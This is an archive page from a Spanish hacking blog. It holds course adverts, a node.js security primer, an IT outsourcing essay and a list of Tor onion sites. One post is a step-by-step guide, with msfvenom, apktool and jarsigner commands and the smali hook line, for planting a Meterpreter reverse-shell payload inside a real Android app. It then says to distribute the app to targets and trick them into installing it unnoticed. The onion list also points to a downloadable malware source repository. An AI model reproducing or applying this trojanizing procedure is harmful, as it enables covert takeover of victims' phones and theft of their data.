Archivo

Archive for the ‘Services – Software’ Category

Oferta de formación en Securízame sobre hacking ofensivo (Red Team)

febrero 19, 2018 1 comentario

Seguramente algunos de vosotros habéis visto en medios tales como Twitter o Telegram, que en Securízame se están elaborando una serie de ofertas formativas muy interesantes, que están pensadas no solamente a que podáis obtener unos conocimientos sólidos en seguridad informática sino que además, tengáis la posibilidad de demostrarlo mediante un certificado acreditativo, como es el caso de la certificación recientemente lanzada en Securízame llamada IRCP (hace unos días os contábamos algunos detalles al respecto). No obstante, no solamente se ha pensado en el lado puramente defensivo del hacking, para aquellos que también nos gusta la parte ofensiva y el entender cómo se compone un vector de ataque contra cualquier sistema, se han abierto una serie de convocatorias para cursos completamente prácticos en dichas áreas y yo tengo el enorme placer de ser la persona encargada de llevar a cabo dichas formaciones.

Concretamente tenemos 3 convocatorias abiertas y cada una de ellas se va a impartir en las oficinas de Securízame en Madrid. A continuación os cuento a grandes rasgos qué es lo que haremos en cada una de dichas convocatorias.

Curso básico/intermedio de hacking web y sistemas – 9, 10 y 11 de Marzo:

Se trata de un curso en el vamos a ver algunas de las vulnerabilidades más habituales en entornos web, partiendo de la versión más reciente del OWASP Top 10 que data del año 2017 y con una buena cantidad de casos prácticos para que comprendáis todas y cada una de las vulnerabilidades que se definen en la guía y que adquiráis los conocimientos necesarios para levar a cabo auditorías contra aplicaciones web en entornos reales, como los que os podéis encontrar en una organización de cualquier tipo. Por otro lado, en éste curso también veremos los fundamentos del hacking desde la perspectiva de un atacante, utilizando herramientas de uso común y otras no que no son tan comunes, pero que igualmente tienen una potencia y versatilidad muy interesantes y del mismo modo, en la parte de hacking de sistemas vamos a trabajar con configuraciones (inseguras) aplicadas en routers con el fin de contar con un entorno bastante cercano a la realidad para realizar pruebas de penetración. El objetivo de éste curso es prepararos para asumir retos más complejos y que tengáis una base sólida para que vuestro nivel en temas de seguridad informática y hacking pueda ir subiendo rápidamente. No se trata de un curso “al uso” de los que encontráis en Udemy o gratis en Internet (de hecho, en ocasiones es mejor el contenido gratuito que lo que os encontráis en Udemy). Me he asegurado y le he dedicado varias horas a los contenidos para que no sea un curso en el que aprendáis a lanzar herramientas y ejecutar scripts, NO, lo tengo preparado para que aprendáis cómo funcionan las cosas y podáis tener unos fundamentos sólidos y podáis hacer auditorías de seguridad con o sin herramientas automatizadas, aplicando correctamente cada una de las técnicas más comunes en éste tipo de actividades y permitiéndoos subir de nivel rápidamente.

Enlace con toda la información del curso aquí: https://cursos.securizame.com/courses/curso-presencial-de-pentesting-1-hacking-web-hacking-sistemas-basico/

Curso avanzado de hacking web y sistemas – 6, 7 y 8 de Abril:

En éste curso vamos a ir mucho más allá de lo que normalmente nos encontramos en las pruebas de penetración en entornos web, analizaremos en detalle otros tipos de vulnerabilidades que no sólo no se encuentran en el OWASP Top 10, sino que además, combinadas con varias técnicas y/u otras vulnerabilidades se puede comprometer el servidor web y conseguir la tan apreciada ejecución remota de instrucciones en el servidor. En éste curso también veremos técnicas avanzadas que se suelen aplicar en una campaña de hacking contra un sistema. Veremos cosas como la posibilidad de crear conexiones cifradas entre víctima y atacante para proteger el canal de comunicación y hacer que sea un poco más difícil de identificar qué actividades está llevando a cabo un atacante, así como también la posibilidad de crear puertas traseras persistentes utilizando mecanismos poco convencionales (vamos un poco más allá de lo que Frameworks como MSF nos ofrece) y como no, veremos en detalle la posibilidad de llevar a cabo técnicas de pivoting y port-fowarding, enlanzando varias redes con diferentes niveles de profundidad (usando cada máquina comprometida para saltar a segmentos de red internos/ocultos de cara al atacante), también veremos algunas cosillas chulas sobre malware y evasión de AVs. Estás son solamente algunas de las cosas que veremos en éste curso y que estoy seguro que no quedaréis decepcionados.

Enlace con toda la información del curso aquí: https://cursos.securizame.com/courses/curso-presencial-de-pentesting-2-hacking-web-hacking-sistemas-avanzado/

Entrenamiento de Hacking – 18, 19, 20 de Mayo:

Se trata de una propuesta distinta a los planes de formación a los que estamos acostumbrados, en realidad no se trata de un curso, tal como su nombre indica es un entrenamiento intensivo de un fin de semana entero, en donde cada participante debe enfrentarse a un reto propuesto, un sistema que tiene una serie de vulnerabilidades que pueden ser explotadas remota y localmente. La dinámica del entrenamiento es simple, proponemos un reto, un sistema que se encuentra en una red controlada, los participantes intentan ganar acceso, elevar privilegios sobre dicha máquina y luego extraer toda la información que puedan, después de un tiempo prudencial se procede a explicar la solución dicho reto, enseñando “en vivo” cómo se puede comprometer el sistema en cuestión y explicando las técnicas utilizadas. Este mismo ciclo lo repetimos durante todo el fin de semana y al finalizar, ya habremos explotado más de 20 sistemas vulnerables con diferentes niveles de dificultad.
Se trata de un formato de formación novedoso que a día de hoy no lo vais a encontrar en ningún otro centro de formación destinado a la seguridad informática y el hacking (al menos no que yo sepa). En el año 2017 hicimos 2 convocatorias en Securízame de éste entrenamiento y hemos conseguido un lleno total, rápidamente se agotaron todas las plazas y ésta primera convocatoria del año 2018 va por el mismo camino, aunque mi objetivo a nivel personal no es simplemente cubrir todas las plazas, me resultan mucho más gratificantes los comentarios de las personas que han participado en las ediciones anteriores del entrenamiento y saber que no solamente lo han disfrutado, sino que además les ha parecido intenso e instructivo, ver las muestras de agradecimiento y satisfacción de las personas que han confiado en ti, en algo a lo que le has dedicado innumerables horas y en algunos casos noches enteras, que has diseñado y pulido con esfuerzo y sacrificio constante, no tiene precio.
Para la primera edición de éste año tenemos máquinas nuevas que no se han visto en las 2 ediciones del año 2017, con lo cual podéis estar seguros que si habéis participado en alguna de las anteriores, en ésta nueva edición del 2018 lo vais a pasar igual de bien con retos nuevos con los que os vais a pegar un buen rato y con los que seguro vais a aprender un montón de cosas por el camino.

Enlace con toda la información del entrenamiento aquí: https://cursos.securizame.com/courses/entrenamiento-practico-presencial-de-pentesting-hacking-web-y-de-sistemas/

Esto es todo de momento, espero que os animéis y veros en las oficinas en Securízame, pensad que se trata de una inversión para vuestro futuro profesional y una buena oportunidad para que os cuente algunas cosas que sólo se aprenden “pegándote” con ellas y que no encuentras en la mayoría de cursos disponibles sobre hacking, además, si tenéis la posibilidad, también podéis adquirir el pack completo que incluye ambos cursos más el entrenamiento, tenéis toda la información disponible en el siguiente enlace: https://cursos.securizame.com/courses/pack-curso-presencial-hacking-web-y-de-sistemas-basico-avanzado/

Como siempre, si tenéis cualquier pregunta, podéis contactarme directamente por éste medio, Twitter o Telegram, suelo contestar bastante rápido 🙂

Un saludo y Happy Hack!
Adastra.

Pentesting contra aplicaciones en node.js – Parte 1.

febrero 13, 2018 2 comentarios

En los últimos años nos encontramos con que las aplicaciones desarrolladas en node.js son cada vez más comunes en entornos empresariales y en Internet, lo que inicialmente se construyo como un prototipo para probar el funcionamiento de un modelo “event-loop” hoy en día se ha convertido en un lenguaje bastante popular que se ha hecho un hueco en el competitivo y controvertido mundo de las herramientas, lenguajes y plataformas para el desarrollo de aplicaciones. Node.js plantea una forma distinta de desarrollar plataformas web y por supuesto, también provee los medios necesarios para construir aquellos componentes de software que son comunes en otros lenguajes de programación, sin embargo, como cualquier otro lenguaje de programación, tiene sus limitaciones y en algunos casos es posible que no sea la mejor alternativa. Cuando queremos desarrollar algo, lo más importante y que nunca hay que perder de vista, es que las características funcionales de una aplicación pueden llevar más o menos tiempo dependiendo de cada lenguaje de programación y así como puede suponer más o menos esfuerzo, también es importante valorar el impacto de optar por un lenguaje de programación de cara al desempeño, la escalabilidad y por supuesto, la seguridad.

En este sentido y por lo que he podido ver cuando hablo con algunos desarrolladores de node.js que he conocido, estas premisas se olvidan completamente y se piensa que node.js “vale para todo”, aunque para ser justos, lo mismo me he encontrado con programadores de Java, Python, .Net, etc, etc, etc. Como diría Van Russom, cada lenguaje tiene su propio “Zen” y es importante conocerlo para saber si es la alternativa más adecuada para un problema concreto. Dicho esto, merece la pena recordar el modo de funcionamiento de node.js y el motivo por el cual es considerado un framework flexible, escalable y con buenos niveles de rendimiento, así como también, los motivos por los que no es una buena idea utilizarlo “para todo”.

Las principales características de Node.js son las siguientes:

– OpenSource, independiente de plataforma.

– Desarrollado sobre CJR v8 (Chrome JavaScript Runtime).

– Diseñado para ser rápido y escalable.

– Permite la ejecución de Javascript en el backend.

– El contexto de ejecución de CJR v8 es completamente diferente al contexto del navegador, dado que se ejecuta en el lado del servidor.

– Liviano y eficiente.

Por otro lado, utiliza un modelo de funcionamiento asíncrono basado en eventos y en la ejecución de funciones de “callback”. Se trata de un framework que ha sido pensado para ejecutar operaciones sobre un único hilo de ejecución, por este motivo nos encontramos con que el principal objetivo de node.js con su modelo “single-thread” es el de mejorar el desempeño y escalabilidad de aplicaciones web, ya no tenemos el modelo “one thread per requests” utilizado en las aplicaciones web tradicionales que se despliegan en servidores web como Apache, Ngnix, IIS, entre otros, estamos ante un modelo completamente distinto, enfocado al desarrollo de aplicaciones escalables, asíncronas y con un bajo consumo de recursos debido a que ahora, sobre el proceso servidor ya no se hace un “fork” para atender las peticiones de los clientes en procesos independientes, algo que es habitual en servidores web Apache.

Modelo “Event-loop model” vs “thread per requests”.

Un modelo “Event-Loop” es ideal para aplicaciones en donde la velocidad de respuesta de las peticiones es más importante que las operaciones I/O. p.e: Un proxy inverso/transparente. También, este modelo es remendable cuando se trata de aplicaciones web con un backend ligero, el cual realiza las operaciones de negocio de forma rápida y eficiente. Esto es importante ya que si el backend no cumple con este requerimiento se pueden producir cuellos de botella y afectar el rendimiento general de la aplicación. Un modelo “thread per requests” es más adecuado para procesamientos intensivos con con un número bajo de procesos concurrentes. p.e. Aplicaciones cuyas funciones realizan múltiples operaciones de negocio, conexiones a bases de datos u otros sistemas remotos, así como transacciones complejas que requieren tiempo de procesamiento. Dicho esto, dependiendo del tipo de aplicación un modelo puede ser más recomendable que el otro y en el caso de las aplicaciones node.js que utilizan el modelo “event-loop” es importante que el backend se encuentre lo más fino posible y que todas las operaciones de negocio se realicen de la forma más rápida posible. En el caso de aplicaciones desarrolladas con node.js es común encontrarnos con que es necesario desarrollar el componente “servidor”, típicamente utilizando el modulo “express” en entornos de desarrollo, además de la lógica propiamente dicha de la aplicación.

Dado que todo se ejecuta desde un único hilo de ejecución, la gestión inadecuada de excepciones puede interrumpir por completo el normal funcionamiento del servidor y por este motivo es recomendable tener rutinas de chequeo que se encarguen de verificar en todo momento el correcto funcionamiento del servidor y la disponibilidad del proceso en el sistema.
Como se puede apreciar, es necesario pensar de una forma diferente cuando se trata de aplicaciones que siguen el modelo que implementa node.js y ante todo, tener muy claro que como cualquier otra herramienta o tecnología, sirve para resolver un problema concreto y debe evitarse su uso siguiendo únicamente el criterio “de la moda”, es decir, utilizar node.js porque es lo que se lleva hoy en día. Como cualquier lenguaje de programación, tiene su propia filosofía, su propio “Zen” y es recomendable conocer sus características más relevantes de cada lenguaje con el fin de utilizar la tecnología adecuada para resolver un problema concreto.

OWASP Top 10 y Node.js

Node.js es una tecnología para el mundo web, para el mundo del “http”, por éste motivo todas las amenazas descritas en el OWASP Top 10 aplican igualmente a las aplicaciones basadas en node.js. Nos encontramos con los mismos problemas que afectan a las aplicaciones escritas en los lenguajes más utilizados/tradicionales en Internet como PHP, JSP/JSF/J2EE, ASP.NET, ColdFusion, etc, etc. Desde problemas típicos de Inyección (SQLi, LDAPi, XSS, etc) hasta problemas de fugas de información o ejecución remota de código. No obstante, en el caso de Node.js existen algunas amenazas adicionales que no están incluidas en el OWASP Top 10 y suelen ser bastante comunes en aplicaciones de éste tipo. A continuación se enumeran rápidamente algunas de ellas.

Global Namespace Pollution

Se trata de un problema que tiene relación directa con la calidad del código y buenas prácticas de desarrollo. Tal como se ha explicado anteriormente, el componente “servidor” en una aplicación en Node.js debe ser desarrollado utilizando alguno de los módulos disponibles en el lenguaje, siendo “express” el más común. Dado que se trata de una tarea que deben realizar los desarrolladores, en ocasiones en éste componente “servidor” se incluyen variables y rutinas de código que tienen relación directa con el funcionamiento de la aplicación. Hay que tener en cuenta que cuando se definen éste tipo de elementos (variables o funciones) en el componente servidor de la aplicación node.js, se convierten en elementos globales de toda la aplicación, es decir, que los valores almacenados en las variables y el resultado de la ejecución de las funciones en dicho contexto afecta a todos los usuarios de la aplicación. Por ejemplo, si en el componente servidor se almacena crea una variable de cualquier tipo, el valor de dicha variable puede ser alterado por cualquier cliente de la aplicación y dicha modificación va a ser visible por el resto de clientes que intenten acceder a dicho valor. En la mayoría de lenguajes de programación nos encontramos con 3 contextos para el almacenamiento de valores entre peticiones HTTP, dichos contextos serían “request”, “session” y “application”, siendo éste último el más amplio de todos y el que más se asemeja a los “Global Namespaces” en Node.js

HTTP Parameter Pollution

En la mayoría de plataformas web existen mecanismos estándar para controlar la forma en la que se procesarán los parámetros duplicados (servidorweb/pagina?id=20&id=10&id=pepe&id=abcde), en algunos casos el lenguaje se quedará con el valor de la primera ocurrencia del parámetro o con el último, en algunos casos está característica es incluso configurable, sin embargo en el caso de node.js no se excluye ningún parámetro y si un parámetro se repite varias veces en la misma petición, cuando se intente recuperar el valor del parámetro en cuestión desde la aplicación, node.js se encargará de devolver un “array” con cada una de las ocurrencias del parámetro en cuestión. Esta es una característica del lenguaje y hay que tener en cuenta, ya que casi siempre cuando se desarrolla una aplicación web, se espera recibir un parámetro con un tipo de dato concreto (típicamente una cadena) pero dado que node.js se encarga de envolver todas las ocurrencias de un mismo parámetro en un array, el comportamiento de la aplicación puede ser muy diferente al esperado y en la mayoría de casos se puede producir una excepción no controlada, que tal como se ha mencionado anteriormente, puede generar una condición de denegación de servicio en el servicio.

Uso inseguro de funciones que permiten inyección de código.

Como en muchos otros lenguajes de programación, en node.js existen funciones que permiten la validación de tipos de datos concretos, no hay que olvidar que node.js es un lenguaje de scripting no tipado, lo que significa que, a diferencia de otros lenguajes de programación con tipado fuerte, el tipo de una variable es implícito al valor que se le asigna. Esto quiere decir que si se le asigna una cadena a una variable, el tipo de dicha variable será “str” y si más adelante durante la ejecución del programa, se le asigna una valor entero, el tipo de dato de dicha variable será desde ese momento un “int”. La función “eval” es precisamente una de las funciones más conocidas y utilizadas en node.js para validar tipos de datos en variables e instrucciones de código, lo que significa que la función “eval” lo que hace por debajo es ejecutar las instrucciones enviadas por parámetro de la función, lo que en algunos casos puede producir problemas de inyección de código arbitrario si los valores enviados a “eval” provienen de una petición por parte del cliente y no se validan correctamente. Esta es solamente una de las posibilidades a la hora de inyectar código en una aplicación node.js, sin embargo como se verá en otro post de ésta serie, existen varias formas de hacer lo mismo y en todos los casos, son producidas por malas prácticas de desarrollo o simplemente por desconocimiento.

Regex DoS

El uso de las expresiones regulares es bastante habitual a la hora de validar patrones y se utilizan
con bastante frecuencia a la hora de comprobar los valores ingresados por un usuario en formularios web. Por ejemplo, se pueden utilizar expresiones regulares para validar un correo electrónico, un DNI, número de teléfono o cualquier otro campo que siga un patrón fijo. Aunque se trata de elementos muy potentes, se caracterizan por ser de alto consumo en términos de recursos y tiempo de procesamiento y pueden ser especialmente perjudiciales para el correcto funcionamiento de una aplicación cuando las expresiones aplicadas no se encuentran bien definidas. Es posible que dichas expresiones funcionen correctamente, pero debido a la forma en la que se encuentran declaradas consuman más tiempo y recursos de lo que deberían. En el caso de node.js y especialmente en cualquier plataforma que siga el modelo “event-loop” con un único proceso asociado al servidor, es posible encontrarse con un cuello de botella considerable, lo que al final termina por provocar una condición de denegación de servicio.

NodeGoat de OWASP para pentesting contra node.js

Ahora que se ha explicado a grandes rasgos las principales vulnerabilidades que pueden afectar a una aplicación escrita en node.js, es el momento de llevar todo ésto a la práctica y qué mejor forma de hacerlo que por medio de una aplicación web vulnerable por diseño. Del mismo modo que existen aplicaciones de éste tipo para lenguajes como Java, PHP, .Net, entre otros, en el caso de node.js existe el proyecto NodeGoat de OWASP, el cual se encuentra disponible en el siguiente repositorio de github: https://github.com/OWASP/NodeGoat

Su instalación es muy simple, basta con descargar el proyecto del repositorio con “git clone https://github.com/OWASP/NodeGoat” y posteriormente realizar la instalación de todos módulos necesarios para que la aplicación pueda arrancar. Dichos módulos se instalan rápidamente con el comando “npm install”. Evidentemente es necesario tener node.js instalado en el sistema, en el caso de sistemas basados en Debian, es tan sencillo como ejecutar el comando “apt-get install nodejs”. Una vez instalados todos los módulos de la aplicación, es necesario configurar la base de datos MongoDB, que tal como se indica en el README del proyecto, es posible tirar de una instancia de MongoDB en local o crear una cuenta en MongoLab (https://mlab.com/) y crear una base de datos en dicho servicio, el cual puede tiene un plan gratuito que más que suficiente para trabajar con NodeGoat. Es necesario editar el fichero “<NODEGOAT_DIR/config/env/development.js” y establecer la ruta de conexión con la base de datos que se ha creado en MongoLab o la instancia que se encuentra en ejecución en local, según sea el caso. Antes de iniciar la aplicación, se debe ejecutar el comando “npm run db:seed” para crear toda la estructura de de colecciones en la base de datos, la cual evidentemente es utilizada por NodeGoat. Finalmente, el comando “npm start” se debe ejecutar desde el directorio de NodeGoat y con esto, la aplicación estará preparada para ser utilizada en el puerto 4000. Para poder iniciar sesión en la aplicación, los usuarios se encuentran disponibles en la colección “users” de la base de datos y también se pueden ver en el fichero “README” del proyecto.

Esto ha sido una breve introducción al funcionamiento de node.js y algunos de los problemas de seguridad que se pueden dar por el uso inadecuado de ésta tecnología. En los próximos post se explicará mucho más en detalle y con ejemplos prácticos aquellas cuestiones a tener en cuenta a la hora de hacer un pentest contra aplicaciones web desarrolladas en node.js

Un saludo y happy hack!
Adastra.

Cómo inyectar malware en una aplicación Android legítima.

mayo 22, 2017 4 comentarios

En éste artículo se hablará sobre la creación de una APK maliciosa partiendo de una legítima con el objetivo de ganar acceso al dispositivo Android sobre el que se instala. En primer lugar es necesario definir cuál será la aplicación con la que se desea trabajar y descargarla, a efectos prácticos, en éste artículo tomaremos como ejemplo la app Momo (immomo.com/download/momo.apk) la cual es utilizada por millones de personas en el mundo, especialmente en países asiáticos. Posteriormente, se puede crear la app maliciosa utilizando las características disponibles en Metasploit Framework, gracias a la utilidad “msfvenom” se puede generar un payload enfocado específicamente a aplicaciones para Android. El objetivo evidentemente es el de inyectar el payload generado por msfvenom en la app legítima, de una forma similar a lo que hacemos con ejecutables PE o ELF para sistemas Windows y GNU/Linux a la hora de aplicar la técnica de “code caving”. Utilizando una herramienta como “apktool” se puede proceder a desempaquetar y decompilar la APK legítima y la APK generada por metasploit y con ambas muestras, se construye una APK nueva partiendo de la aplicación legítima pero inyectando el payload de Metasploit de tal forma que la aplicación original siga funcionando con normalidad.
Lo que se ha explicado anteriormente se puede llevar a la práctica siguiendo el siguiente procedimiento.

1. En primer lugar, se debe generar la APK maliciosa con Metasploit Framework.

>msfvenom -p android/meterpreter/reverse_https LHOST=xxxx LPORT=4444 -o /home/adastra/meterpreter.apk

No platform was selected, choosing Msf::Module::Platform::Android from the payload

No Arch selected, selecting Arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 9295 bytes

Saved as: /home/adastra/meterpreter.apk

2. A continuación, se procede a descargar la app que tal como se ha dicho antes, en este caso será Momo (immomo.com/download/momo.apk) y se procede a desempaquetar y decompilar todo con Apktool https://ibotpeaches.github.io/Apktool/

Primero la app legítima

>apktool d -f -o originalDecompiled momo_6.7_0413_c1.apk

I: Using Apktool 2.1.0-a7535f-SNAPSHOT on momo_6.7_0413_c1.apk

I: Loading resource table…

I: Decoding AndroidManifest.xml with resources…

I: Loading resource table from file: /home/adastra/apktool/framework/1.apk

I: Regular manifest package…

I: Decoding file-resources…

I: Decoding values */* XMLs…

I: Baksmaling classes.dex…

I: Baksmaling classes2.dex…

I: Baksmaling classes3.dex…

I: Copying assets and libs…

I: Copying unknown files…

I: Copying original files…

Y luego, la APK generada por Metasploit Framework.

>apktool d -f -o meterpreterDecompiled meterpreter.apk

I: Using Apktool 2.1.0-a7535f-SNAPSHOT on meterpreter.apk

I: Loading resource table…

I: Decoding AndroidManifest.xml with resources…

I: Loading resource table from file: /home/adastra/apktool/framework/1.apk

I: Regular manifest package…

I: Decoding file-resources…

I: Decoding values */* XMLs…

I: Baksmaling classes.dex…

I: Copying assets and libs…

I: Copying unknown files…

I: Copying original files…

3. A continuación, se copian los ficheros decompilados correspondientes al payload, directamente en la aplicación original decompilada. Concretamente, se deben copiar los ficheros ubicados en:

<meterpreter_apk>/smali

En el directorio:

<momo_apk>/smali

De esta forma, cuando la aplicación APK original vuelva a ser recompilada tendrá en su interior el payload correspondiente. No obstante, hasta este punto el código de dicho payload no será ejecutable, ya que aún no se ha alterado el flujo de ejecución de la aplicación original.

4. Se ha procedido a inyectar el “hook” de Meterpreter en la aplicación original (陌陌), pero para asegurar su ejecución, es necesario inyectar el payload en el código .smali.

Para hacerlo, primero se debe buscar la “activity” adecuada, las cuales se encuentran declaradas en el fichero “AndroidManifest.xml” de la aplicación original. Se debe buscar el lanzador de la aplicación:

<action android:name=”android.intent.action.MAIN”/>

<category android:name=”android.intent.category.LAUNCHER”/>

El atributo android:name de la “activity” principal de MoMo es: android:name=”com.immomo.momo.android.activity.WelcomeActivity”

A continuación, se debe editar el código de la “activity” principal de la aplicación, la cual como se ha visto es “WelcomeActivity” y se encuentra ubicada en

<momo_apk>/smali/com/immomo/momo/android/activity/WelcomeActivity

5. Una vez abierto el código correspondiente a la activity principal de la aplicación, se procede a buscar la función “main” de la clase, la cual debe cumplir con el siguiente patrón:

;->onCreate(Landroid/os/Bundle;)V

En la línea inmediatamente posterior se debe incluir la invocación al payload de Metasploit Framework, que contendrá lo siguiente:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

El aspecto que finalmente tendrán dichas instrucciones en la activity “WelcomeActivity” se puede apreciar en la siguiente imagen

 

6. Antes de recompilar la aplicación original con el payload inyectado, es necesario establecer los permisos adecuados para que el payload se pueda ejecutar correctamente, dichos permisos deben ser los siguientes:

7. Con los cambios anteriores, se procede a recompilar la aplicación original utilizando APKTool

>apktool b original/originalDecompiled/

I: Using Apktool 2.1.0-a7535f-SNAPSHOT

I: Checking whether sources has changed…

I: Smaling smali folder into classes.dex…

I: Checking whether sources has changed…

I: Smaling smali_classes3 folder into classes3.dex…

I: Checking whether sources has changed…

I: Smaling smali_classes2 folder into classes2.dex…

I: Checking whether resources has changed…

I: Building resources…

I: Copying libs… (/lib)

I: Building apk file…

I: Copying unknown files/dir…

El comando anterior dará como resultado la generación de una APK con todos los cambios realizados anteriormente en el directorio <momo_apk>/original/dist

8. Finalmente se debe firmar el APK generado en el paso anterior con una herramienta como JarSigner, esto es importante para que la APK se pueda instalar en el dispositivo.

>jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA original/originalDecompiled/dist/momo_6.7_0413_c1.apk androiddebugkey

En éste caso se utiliza el keystore por defecto de Android Studio ubicado en <HOME>/.android.

9. Ya está todo preparado, ahora se debe distribuir la APK a aquellos usuarios que sean objetivo de la campaña, evidentemente se deben aplicar las técnicas adecuadas para que los usuarios “piquen” e instalen la aplicación en su dispositivo. Antes de hacerlo, dado que se utiliza Metasploit Framework con un payload del tipo “meterpreter reverse” es necesario iniciar el handler adecuado en la IP/dominio especificado en la propiedad LHOST que se ha indicado a la hora de generar el Payload.

Como se puede apreciar en la imagen anterior, cuando el usuario instala la aplicación en su dispositivo, el payload que se ha inyectado se ejecuta justo después de la invocación a la “activity” principal y el atacante obtiene una sesión Meterpreter, pero lo más importante: La app maliciosa conserva el funcionamiento de la aplicación legítima, sin ningún tipo de interferencia o comportamiento anómalo que haga sospechar a la víctima, esto es sin duda la parte más importante, ya que el usuario no se percatará de lo que está pasando y desde su perspectiva la aplicación funciona correctamente en su dispositivo.

Han sido sólo 9 pasos que nos han permitido componer un vector de ataque interesante enfocado a aplicaciones desarrolladas para dispositivos con Android y aunque éste procedimiento aplica para cualquier APK, es importante tener en cuenta que cada aplicación puede tener características muy concretas que hay que controlar, por ejemplo en el caso de que el código se encuentre ofuscado o que se haga uso de frameworks que debido a su propio funcionamiento, sea necesario tomar un enfoque distinto al explicado en éste artículo, sin embargo el procedimiento sigue siendo perfectamente valido y aplicable a cualquier APK.

Un saludo y Happy Hack!
Adastra.

¿La externalización de servicios IT quita puestos de trabajo?

abril 28, 2017 3 comentarios
Entrada escrita por: Carmelo “Kinjo” Toledo

Hace unos días me encontraba tomando un aperitivo junto con un colega, mientras le explicaba que las empresas, y muy especialmente las PYME podían, incluso en tiempos de crisis, mejorar su infraestructura IT mediante la subcontratación de dichos servicios a empresas especializadas, como por ejemplo THW Consulting

Mi colega, me comentó que desde su punto de vista, estábamos disminuyendo la posibilidad a otros profesionales de encontrar puestos de trabajo.
¿Creen ustedes que la externalización de servicios TIC resta puestos de trabajo?
No me estoy refiriendo en estos momentos a las grandes empresas que cuentan con departamentos técnicos propios bien organizados, sino a aquellas PYME, cuyo “core business” está alejado de la tecnología, pero que son usuarios de la misma, no solamente a través de ordenadores o estaciones de trabajo, sino, en alguna medida también, mediante servidores de datos, web, y, por supuesto necesitados de una revisión completa en materia de ciberseguridad.
Generalmente estas organizaciones, pese a necesitarla casi tanto como el agua, no suelen apreciar la calidad en las implementaciones tecnológicas, y con suerte contratan a algún chico, por un salario que en ocasiones roza el raquitismo (en comparación con el resto de empleados), que inmediatamente recibe el epíteto de “El informático” e ipso facto se le atribuye la responsabilidad de gestionar todo aquello que funcione con electricidad dentro de la empresa, desde los servidores (en caso de que los tengan), la gestión de la “página web”, los PC, las calculadoras, el papel que se atasca de la impresora, la linea de internet, la centralita de telefonía (en caso de tenerla), pasando por la máquina del aire acondicionado, el cableado, la máquina del café, hasta en ocasiones he visto que a este peón se le asignan tareas de mensajero… todo ello, por supuesto, sin apoyo, sin formación continuada, sin posibilidad de promoción, sin mejora salarial y con la máxima de “aquí se sabe cuando se entra pero no cuando se sale”
Esta es en mayor o menor medida la “calidad” de vida de… “El informático” de las PYME españolas. Lo más irónico es que el empresario tiende a pensar que… como “El informático” está haciendo lo que le gusta, con eso ya está lo suficientemente pagado, y la responsabilidad que recae sobre sus hombros no se ve reflejada en su nómina.
Principalmente es este tipo de puesto de trabajo el que entiendo debería desaparecer, y esos profesionales deberían redirigir su vida profesional a empresas de outsourcing en las cuales se aprecien y valoren sus habilidades, y en donde puedan desplegar su trayectoria laboral en entornos heterogéneos que les hagan crecer como profesionales, y eventualmente, con el tiempo como especialistas. En esta situación, estos profesionales, sí que podrían gozar de una progresión en su trabajo.
Si la cultura de la externalización se extendiera en el seno de las PYME, si, quizás desaparecería el ecléctico puesto de “El informático”, sería más fácil que los profesionales hicieran carrera como técnicos o ingenieros de sistemas, consultores tecnológicos, ingenieros de software, cada uno según su preparación y su motivación real.
Las PYME también se verían beneficiadas por un servicio de calidad, y seguramente aprenderían a apreciar la tecnología y sus “hacedores”, que pasarían de ser considerados como “el chico de los ordenadores” a profesionales TIC, tecnólogos, ingenieros, etc.
Es todo una cuestión cultural y educacional.
Autor: Carmelo “Kinjo” Toledo

10 Servicios ocultos interesantes en la deep web de TOR – Actualización

abril 24, 2017 1 comentario

Hace algún tiempo escribí unas pocas entradas sobre algunos servicios ocultos en la red de TOR que a mi parecer eran interesantes por la información que ofrecían, sin embargo, estamos hablando de un red que cambia constantemente y los servicios ocultos se crean y se destruyen de una forma bastante rápida, por ese motivo casi ninguno de los enlaces de los post de aquella época funcionan correctamente a día de hoy, así que con el fin de actualizar un poco todo aquello y comentar algunos de los servicios ocultos más interesantes que me he encontrado en las últimas semanas, he decidido escribir éste post con algunos sitios interesantes en la deep web de TOR:

Open Hacking Lab:

Se trata de un blog enfocado completamente a la seguridad ofensiva y técnicas de hacking aplicadas “in the wild”. Se actualiza regularmente y tiene algunos post que en mi opinión son realmente buenos.

Onion: http://4xiz3doafaqvbxjh.onion/

Cerberus Malware Repository:

Como su nombre indica, se trata de un repositorio bastante completo de muestras de malware, categorizadas en secciones y con la posibilidad de descargar el código completo de cada muestra. Resulta muy útil para estudiar sobre cómo se desarrollan éste tipo de programas y también, para analizarlos desde una herramienta como Cuckoo Sandbox.

Onion: http://cerberussssc7cat.onion/index.php

OnionTube:

Permite compartir vídeos anónimamente sobre Tor. Simplemente permite subir vídeos y posteriormente compartirlos a cualquiera partiendo de un enlace generado por oniontube. No se admite contenido ilegal según las reglas y además, cada vídeo subido no se comparte públicamente con todos los usuarios que visitan OnionTube, es necesario conocer la dirección onion del vídeo.

Onion: http://35khdgeiyit26syj.onion/

OnionDir:

Es uno de los directorios de sitios onion más completos y mejor categorizados que hay a la fecha de redactar éste post. No obstante, no filtra contenidos ilegales y cp, con lo cual algunos enlaces pueden ser bastante desagradables. Lo mejor es navegar por las categorías de “Communication”, “Libraries/Wikis”, “Hosting” y otras similares. Suelen haber enlaces a sitios muy interesantes con información útil.

Onion: http://auutwvpt2zktxwng.onion

Hidden Answers:

Se trata de un servicio similar Yahoo Answers, aunque obviamente dado el contexto, las preguntas que formulan los usuarios en ocasiones suelen salirse de lo normal/habitual. Aún así, es interesante ver que muchas de las preguntas formuladas están relacionadas con el hacking y el anonimato.

Onion: http://answerstedhctbek.onion/

TorGuerrillaMail: Se trata de un servicio de correo electrónico temporal, muy útil en el caso de establecer comunicaciones con alguien sin necesidad de dar una dirección de correo real. No es necesario registrarse y una cuenta puede durar hasta 1 hora.

Onion: http://grrmailb3fxpjbwm.onion/

Sinbox:

Otro buen servicio de correo electrónico en la red de TOR, el cual cuenta con una interfaz sencilla pero completamente funcional, además no requiere el uso de Javascript o cookies.

Onion: http://sinbox4irsyaauzo.onion/

TorCH:

Se ha convertido en uno de los buscadores más populares en la deep web ya que cuenta con un directorio de direcciones bastante extenso y un buen motor de búsqueda que permite encontrar servicios ocultos en la web profunda de TOR con los criterios establecidos.

Onion: http://xmh57jrzrnw6insl.onion

0day Forum:

